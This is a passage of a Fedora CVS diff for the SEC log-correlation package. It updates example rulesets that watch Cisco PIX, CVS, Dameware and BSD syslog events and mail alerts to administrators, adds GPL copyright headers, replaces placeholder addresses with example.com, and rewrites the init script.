desc=PIX $1 Failover: Command replication failed for Peer: $2
action=create rcf_$1; add rcf_$1 %t; add rcf_$1 %s; add rcf_$1 $0; report rcf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rcf_$1

# 316001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Denied new tunnel to (\d+.\d+.\d+.\d+). VPN peer limit.*exceeded.*
desc=PIX $1 VPN Peer limit exceeded for $2
action=create plm_$1; add plm_$1 %t; add plm_$1 %s; add plm_$1 $0; report plm_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete plm_$1

# 317003
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table creation failure - (.*)
desc=PIX $1 Route table Error: $2
action=create rte_$1; add rte_$1 %t; add rte_$1 %s; add rte_$1 $0; report rte_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rte_$1

# 317004
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit warning
desc=PIX $1 Routing table limit reached
action=create rtl_$1; add rtl_$1 %t; add rtl_$1 %s; add rtl_$1 $0; report rtl_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtl_$1

# 317005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*IP routing table limit exceeded - (.*), (\d+.\d+.\d+.\d+).*
desc=PIX $1 Route table limit breached by $3:  $2
action=create rtb_$1; add rtb_$1 %t; add rtb_$1 %s; add rtb_$1 $0; report rtb_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rtb_$1

# 323005
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) can not be powered on completely
desc=PIX $1 Slot $2 will not power on
action=create slp_$1; add slp_$1 %t; add slp_$1 %s; add slp_$1 $0; report slp_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete slp_$1

# 411002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Line protocol on interface (\S+) changed state to down
desc=PIX $1 Interface $2 is DOWN!
action=create lpd_$1; add ldp_$1 %t; add ldp_$1 %s; add lpd_$1 $0; report lpd_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete lpd_$1

# 412002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Detected bridge table full while inserting MAC (....\.....\.....) on interface .*
desc=PIX $1 MAC Address table is FULL!
action=create brf_$1; add brf_$1 %t; add brf_$1 %s; add brf_$1 $0; report brf_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete brf_$1

# 505001
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is shutting down.  Please.*
desc=PIX $1 Slot $2 is shutting down!
action=create sht_$1; add sht_$1 %t; add sht_$1 %s; add sht_$1 $0; report sht_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete sht_$1

# 505002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Module in slot (\S+) is reloading. Please.*
desc=PIX $1 Slot $2 is reloading!
action=create rld_$1; add rld_$1 %t; add rld_$1 %s; add rld_$1 $0; report rld_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete rld_$1

# 605004
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*Login denied from (.*) to (.*) for user "(\S+)"
desc=PIX $1 Auth Attack from $2 to $3 ($4)
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 611102
type=SingleWithThreshold
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*User authentication failed: Uname: (\S+)
desc=PIX $1 Auth Attach from $2
action=create ath_$1; add ath_$1 %t; add ath_$1 %s; add ath_$1 $0; report ath_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete ath_$1
window=10
thresh=6

# 615002
type=Single
continue=takenext
ptype=RegExp
pattern=^PIXLOG (\S+)\^ .*vlan number not available for firewall interface
desc=PIX $1 VLAN Error for FWSM
action=create vln_$1; add vln_$1 %t; add vln_$1 %s; add vln_$1 $0; report vln_$1 /bin/mailx -s "Syslog Watcher [ALERT]" user at example.com; delete vln_$1

#


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	28 May 2007 20:06:22 -0000	1.4
+++ .cvsignore	4 Oct 2009 07:10:44 -0000	1.5
@@ -1 +1 @@
-sec-2.4.1.tar.gz
+sec-2.5.2.tar.gz


Index: amavisd.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/amavisd.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- amavisd.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ amavisd.sec	4 Oct 2009 07:10:45 -0000	1.2
@@ -1,5 +1,11 @@
-#Amavisd events
-
+#############################################################################
+# Amavisd events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Sep  4 15:43:02 xxxxx clamd[581]: /var/amavisd/amavis-20050904T153955-46858/parts/part-00001: HTML.Phishing.Bank-1 FOUND
 type=Single


Index: bsd-MONITOR.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/bsd-MONITOR.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-MONITOR.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-MONITOR.sec	4 Oct 2009 07:10:45 -0000	1.2
@@ -1,9 +1,14 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # SEC rules to pick up disruptive monitoring
 # events.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#
 #Logs involving syslogd disabled or unusual promiscuous mode (MONITOR)
 #----------------------------------------------------------------------
 #Nov 15 20:02:48 foohost syslogd: exiting on signal 15
@@ -50,5 +55,5 @@ type=Single
 ptype=RegExp
 pattern=\S+\s+\d+\s+\S+\s+(\S+)\s+kernel: swap_pager_getswapspace\(\S\): .*
 desc=$0
-action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at yourdomain.com
+action=pipe '$1 GET SWAP FAILURE: %s' /usr/bin/mail -s "SWAP SPACE FAIL on $1" alerts at example.com
 


Index: bsd-PHYSMOD.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/bsd-PHYSMOD.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-PHYSMOD.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-PHYSMOD.sec	4 Oct 2009 07:10:45 -0000	1.2
@@ -1,9 +1,13 @@
 #
-# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
-#
 # PHYSMOD.conf - Events concerning physical modifications
 #                to the system.
 #
+# from http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
+#
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving physical modifications (PHYSMOD)
 #------------------------------------------------


Index: bsd-USERACT.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/bsd-USERACT.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bsd-USERACT.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ bsd-USERACT.sec	4 Oct 2009 07:10:45 -0000	1.2
@@ -1,7 +1,12 @@
 #
+# Events concerning user activities.
+#
 # From http://sixshooter.v6.thrupoint.net/SEC-examples/article.html
 #
-# Events concerning user activities.
+# Copyright (C) 2003-2009 Jim Brown
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 #
 #Logs involving logins, change of UID and privilege escalations (USERACT)
 #-------------------------------------------------------------------------


Index: conf.README
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/conf.README,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- conf.README	1 Sep 2006 20:54:01 -0000	1.1
+++ conf.README	4 Oct 2009 07:10:45 -0000	1.2
@@ -1,10 +1,10 @@
-This is the SEC configuration directory.  Because SEC usage varies so widely
-from user to user, this Fedora Extras package is configured by default to not
-run.
+This is the SEC configuration directory. Because SEC usage varies so widely
+from user to user, this package is configured by default to not run.
 
 The commented-out default settings in /etc/sysconfig/sec will load any file in
-this directory with a .sec suffix.  Please look through the example files
-included in /etc/sec/examples/ and install the ones you want here (taking into
-account that the examples are generic and some of them may need to be tweaked
-to work with your setup).  You should also read the SEC man page so you have
-at least a basic understanding of the SEC configuration commands.
+this directory with a .sec suffix. Please look through the example files
+included in /usr/share/doc/sec-<version>/examples/ and install the ones you
+want here (taking into account that the examples are generic and some of them
+may need to be tweaked to work with your setup). You should also read the SEC
+man page so you have at least a basic understanding of the SEC configuration
+commands.


Index: cvs.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/cvs.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- cvs.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ cvs.sec	4 Oct 2009 07:10:45 -0000	1.2
@@ -1,3 +1,11 @@
+#############################################################################
+# CVS events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 #Jul 31 19:54:21 xxxx xinetd[2088]: START: cvspserver pid=16385 from=xx.xx.xx.xx
 
@@ -14,7 +22,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: password mismatch for (.*) in (.*)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure: User $2 from $3' /usr/bin/mail -s '$1 $2 CVS Login Failure: $2 from $3' alerts at example.com
 
 
 #Aug  5 10:38:49 xxxx cvs: attempt to root from account: username
@@ -23,7 +31,7 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: attempt to root from account: (.*)
 desc = cvs login to root attempt
-action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at yourdomain.com
+action=pipe ' $1 $2 CVS Login to Root Attempt: User $2 ' /usr/bin/mail -s '$1 CVS Login to Root Failure: $2' alerts at example.com
 
 
 #Aug  5 10:42:37 xxxx cvs: login failure (for /usr/local/cvsroot)
@@ -32,5 +40,5 @@ type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) cvs: login failure \(for /usr/local/cvsroot\)
 desc = cvs login failure
-action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at yourdomain.com
+action=pipe '$1 $2 CVS Login Failure ' /usr/bin/mail -s '$1 CVS Login Failure' alerts at example.com
 


Index: dameware.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/dameware.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dameware.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ dameware.sec	4 Oct 2009 07:10:45 -0000	1.2
@@ -1,10 +1,19 @@
+#############################################################################
+# Dameware events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
+
 #Dameware Connect
 type=single
 ptype=regexp
 pattern=([A-z._0-9-]*) DMWRCS: (.*) Connect: (.*)
 desc = Dameware Connect
 action=add WINDOWS_REPORT DAMEWARE CONNECT: %s; \
-pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at yourdomain.com
+pipe 'DAMEWARE Connect -- : %s' /usr/bin/mail -s 'DAMEWARE CONNECT' alerts at example.com
 
 
 #Dameware Disconnect


Index: hp-openview.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/hp-openview.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- hp-openview.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ hp-openview.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,10 +1,14 @@
 ################################################################
 #          Sample SEC ruleset for HP OpenView ITO
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process Cisco linkDown/linkUp trap events received from 
 # HP OpenView ITO trap template through itostream plugin
-# Submitted by Risto Vaarandi
 
 type=PairWithWindow
 ptype=RegExp


Index: labrea.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/labrea.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- labrea.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ labrea.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,4 +1,11 @@
-#Labrea tarpit events
+#############################################################################
+# Labrea tarpit events
+#
+# Copyright (C) 2003-2009 Matt Jonkman
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
+#############################################################################
 
 type=Single
 ptype=RegExp
@@ -25,5 +32,5 @@ type=Calendar
 time=0 8,12,20 * * *
 desc=Sending tarpit report...
 action=report TARPIT_REPORT \
-       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at yourdomain.com; \
+       /usr/bin/mail -s 'Tarpits: Tarpit Victim report' alerts at example.com; \
        delete TARPIT_REPORT


Index: pix-security.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/pix-security.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-security.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-security.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Cisco PIX 6.x, 7.x
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # Process various events from PIX syslog output
@@ -19,7 +24,7 @@ type=SingleWithThreshold
 ptype=RegExp
 pattern=\s*.*Deny\s+(\w+)\s+src.*:(.*)/.*:(.*)/(\b2\d\b).*$
 desc=Unusual Failures:$1 $4/$2 -> $3
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=10
 thresh=10
 
@@ -31,7 +36,7 @@ continue=dontcont
 ptype=RegExp
 pattern=(212\.147\.14[12]\.)
 desc=Possible PHEL Trojan (1)
-action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at domain.com; delete phel_$1
+action=create phel_$1; add phel_$1 Local Time = %t; add phel_$1 $0; report phel_$1 /bin/mail -s "%s" email01 at example.com; delete phel_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall failovers
@@ -50,7 +55,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Primary\).*$
 desc=Secondary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (standby) firewall while primary is active
 # Works for PIX 7.x
@@ -62,7 +67,7 @@ continue=takenext
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX-1-102001.*\(Secondary\).*$
 desc=Primary firewall for $1 - failure/reload
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # Failure of secondary (active), primary assumes active
 # Works for PIX 7.x
@@ -79,7 +84,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Primary\).*Peer state Standby Ready
 desc2=Secondary (was active) firewall ($1) has failed.  Primary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # Failure of primary (active), secondary assumes active
@@ -97,7 +102,7 @@ action=logonly
 ptype2=RegExp
 pattern2=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Secondary\).*Peer state Standby Ready
 desc2=Primary firewall ($1) has failed.  Secondary is now active.
-action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action2=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 window=5
 
 # ------------------------------------------------------------------
@@ -114,7 +119,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*PIX reload.*$
 desc=$1 has been manually rebooted
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com ; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com ; delete ffo_$1
 
 # Manual reload of PIX
 # Works for PIX 7.x
@@ -126,7 +131,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*Orderly reload.*Reload reason:\s(\S+)
 desc=$1 has been manually rebooted, reason: $2
-action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at domain.com; delete ffo_$1
+action=create ffo_$1; add ffo_$1 %t; add ffo_$1 $0; report ffo_$1 /bin/mail -s "%s" email01 at example.com; delete ffo_$1
 
 # ------------------------------------------------------------------
 # Watch for SSH logins/failures on firewalls
@@ -152,7 +157,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'.*to\s(\d+\.\d+\.\d+\.\d+)\/0.*SSH
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Successful Admin SSH session
 # Works for PIX 7.x
@@ -165,7 +170,7 @@ continue=dontcont
 ptype=RegExp
 pattern=\s*.*(10|172|192)\.(\d+\.\d+\.\d+).*Authentication succeeded.*\'(\S+)\'\sfrom\s(\d+\.\d+\.\d+\.\d+)\/0.*/22.*$
 desc=Admin Auth to $1.$2 -> $3 from $4
-action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 Local Time = %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 6.x
@@ -178,7 +183,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*SSH
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Failed Admin SSH session
 # Works for PIX 7.x
@@ -191,7 +196,7 @@ continue=takenext
 ptype=RegExp
 pattern=Authentication failed.*\'(\S+)\'.*/22.*$
 desc=Admin Auth FAILED -> $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # Normal SSH termination
 # Works for both PIX 6.x and 7.x
@@ -202,7 +207,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*\"(\S+)\".*terminated normally
 desc=ADMIN END $1 -> $2
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # SSH session timeout or abnormal termination
 # Works for PIX 6.x
@@ -214,7 +219,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*disconnected by SSH server
 desc=Firewall session END - timeout $1
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 # ------------------------------------------------------------------
 # Watch for firewall commands
@@ -228,7 +233,7 @@ type=Single
 ptype=RegExp
 pattern=\s*\S+\s(\d+\.\d+\.\d+\.\d+).*write\sm.*
 desc=User wrote config to memory -> $1
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 
 # Watch for HIGH CPU Utilization
 # Works for PIX 6.x
@@ -237,5 +242,5 @@ type=Single
 ptype=RegExp
 pattern=PIX-.-211003
 desc=HIGH CPU Utilization
-action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at domain.com; delete fwcmd_$1
+action=create fwcmd_$1; add fwcmd_$1 %t; add fwcmd_$1 $0; report fwcmd_$1 /bin/mail -s "%s" email01 at example.com; delete fwcmd_$1
 


Index: pix-url.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/pix-url.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pix-url.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ pix-url.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,5 +1,10 @@
 ####################################################################
 #                SEC ruleset for Monitoring Keywords
+#
+# Copyright (C) 2003-2009 Chris Sawall
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ####################################################################
 
 # This particular ruleset was designed to monitor PIX syslog traffic
@@ -41,7 +46,7 @@ type=Single
 ptype=PerlFunc
 pattern=sub {($_[0] =~ /($list)/) }
 desc=Inappropriate word in URL
-action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at domain.com; delete ssh_$1
+action=create ssh_$1; add ssh_$1 %t; add ssh_$1 $0; report ssh_$1 /bin/mail -s "%s" email01 at example.com; delete ssh_$1
 
 #
 # Examples of "watch4badwords" and "watch4excludes"


Index: portscan.sec
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/portscan.sec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- portscan.sec	1 Sep 2006 20:54:01 -0000	1.1
+++ portscan.sec	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,5 +1,10 @@
 ################################################################
 # Sample SEC ruleset for "PORTSCAN FROM ip1 TO ip2:port" events
+#
+# Copyright (C) 2003-2009 Risto Vaarandi
+# This is free software. You may redistribute copies of it under the terms of 
+# the GNU General Public License version 2.
+# There is NO WARRANTY, to the extent permitted by law.
 ################################################################
 
 # process "PORTSCAN FROM ip1 TO ip2:port" events, and if a certain
@@ -35,6 +40,6 @@ context=HORIZONTAL_PORTSWEEP_FROM_SOURCE
 continue=DontCont
 desc=$1 has scanned more than 10 destinations
 action=report HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3 \
-       mail -s 'Horizontal port sweep from $1 target port $3' root at localhost; \
+       mail -s 'Horizontal port sweep from $1 target port $3' root at example.com; \
        delete HORIZONTAL_PORTSWEEP_FROM_SOURCE_IP_$1_TO_TARGET_PORT_$3; \
        eval %o ( delete $portscans{"$1:$3"} )


Index: sec.init
===================================================================
RCS file: /cvs/pkgs/rpms/sec/F-11/sec.init,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sec.init	1 Sep 2006 20:54:01 -0000	1.1
+++ sec.init	4 Oct 2009 07:10:46 -0000	1.2
@@ -1,88 +1,102 @@
 #!/bin/bash
 #
-# sec           This starts and stops SEC
+# sec           Start and stop SEC.
 #
-# chkconfig:    - 26 74
+# chkconfig:    - 20 80
 # description:  Simple Event Correlator script to filter log file entries
-# processname:  /usr/bin/sec
-# config:       /etc/sysconfig/sec
-# pidfile:      /var/run/sec.pid
-#
-
-# Source function library.
-    . /etc/rc.d/init.d/functions
-
-# Default to a clean return value
-    RETVAL=0
-
-# Program we'll be executing
-    EXEC='/usr/bin/sec'
-    prog='sec'
 
-    [ -f $EXEC ] || exit 0
+. /etc/rc.d/init.d/functions
 
-# Source the config
-    [ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
+prog="sec"
+exec="/usr/bin/sec"
+lockfile="/var/lock/subsys/sec"
 
-# No options defined means that sec can't run
-    [ -z "$SEC_ARGS" ] && exit 0
-
-# And away we go...
+[ -e /etc/sysconfig/$prog ] && . /etc/sysconfig/$prog
 
 start() {
-    for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
-        echo -n $"Starting $prog instance "$(($n + 1))": "
-        daemon $EXEC ${SEC_ARGS[$n]}
-        RETVAL=$?
-        [ $RETVAL -ne 0 ] && return $RETVAL
-    done
-    touch /var/lock/subsys/$prog
-    return $RETVAL
+	[ -x $exec ] || exit 5
+	for n in `seq 0 $((${#SEC_ARGS[*]} - 1))`; do
+		echo -n $"Starting $prog instance "$(($n + 1))": "
+		daemon $exec ${SEC_ARGS[$n]}
+		RETVAL=$?
+		echo
+		[ $RETVAL -ne 0 ] && return $RETVAL
+	done
+	touch $lockfile
+	return $RETVAL
 }
 
 stop() {
-    echo -n $"Stopping $prog: "
-    killproc $prog
-    RETVAL=$?
-    echo
-    [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/$prog
-    return $RETVAL
+	echo -n $"Stopping $prog: "
+	killproc $prog
+	RETVAL=$?
+	echo
+	[ $RETVAL -eq 0 ] && rm -f $lockfile
+	return $RETVAL
+}
+
+restart() {
+	stop
+	start
 }
 
 reload() {
-    echo -n $"Reloading configuration: "
-    killproc $prog -HUP
-    RETVAL=$?
-    echo
-    return $RETVAL
+	echo -n $"Reloading $prog: "
+	killproc $prog -HUP
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
-restart() {
-    stop
-    start
+force_reload() {
+	restart
 }
 
-dump() {
-    echo -n $"Dumping state in /tmp/sec.dump: "
-    killproc $prog -USR1
-    RETVAL=$?
-    echo
-    return $RETVAL
+rh_status() {
+	status $prog
 }
 
-sec_status() {
-    status $prog
+rh_status_q() {
+	rh_status >/dev/null 2>&1
+}
+
+dump() {
+	echo -n $"Dumping state of $prog in /tmp/sec.dump: "
+	killproc $prog -USR1
+	RETVAL=$?
+	echo
+	return $RETVAL
 }
 
 case "$1" in
-    start|stop|reload|restart|dump)
-        $1
-        ;;
-    status)
-        sec_status
-        ;;
-    *)
-        echo $"Usage: $0 {start|stop|reload|restart|dump|status}"
-        exit 2
+  start)
+	start
+	;;
+  stop)
